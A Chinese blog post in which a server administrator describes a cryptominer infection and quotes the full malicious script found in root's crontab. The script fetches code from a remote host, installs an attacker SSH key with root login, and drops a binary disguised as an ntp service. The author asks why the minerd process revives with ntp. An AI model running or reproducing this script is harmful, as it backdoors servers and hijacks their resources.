服务器被攻击,minerd进程为什么和ntp扯上了

昨天服务器被中了木马,发现crontab里被人加了一个

*/10 * * * * curl -fsSL https://r.chanstring.com/pm.sh?0706 | sh

打开这个脚本看了下:

export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/10 * * * * curl -fsSL https://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/10 * * * * curl -fsSL https://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/crontabs/root

if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then
	mkdir -p ~/.ssh
	rm -f ~/.ssh/authorized_keys*
	echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK75NEOiq
	echo "PermitRootLogin yes" >> /etc/ssh/sshd_config
	echo "RSAAuthentication yes" >> /etc/ssh/sshd_config
	echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config
	echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config
	/etc/init.d/sshd restart
fi

if [ ! -f "/etc/init.d/ntp" ]; then
	if [ ! -f "/etc/systemd/system/ntp.service" ]; then
		mkdir -p /opt
		curl -fsSL https://r.chanstring.com/v51/lady_`uname -m` -o /opt/KHK75NEOiq33 && chmod +x /opt/KHK75NEOiq33 && /opt/KHK75NEOiq33 -Install
	fi
fi



# service ntp start
# systemctl restart ntp.service
/etc/init.d/ntp start

# rm -rf /etc/init.d/ntp
# ps auxf|grep -v grep|grep "/usr/sbin/ntp -D"|awk '{print $2}'|xargs kill -9

ps auxf|grep -v grep|grep "/usr/bin/cron"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/opt/cron"|awk '{print $2}'|xargs kill -9

寻着里面的记录一一删除了公钥和cron任务,但是这个minerd还是一次次的死灰复燃。。。

会在/opt下面下载minerd文件,然后启动进程。

怎么杀怎么删都没用。

但是发现,只要停了ntp服务,这个进程也会被关闭而且不会重启。

只要启动ntp服务,没多久这个文件和进程都会复活。

我实在是搞不懂,怎么跟ntp搞起来的???

猜你喜欢

转载自blog.csdn.net/lokira518/article/details/51925618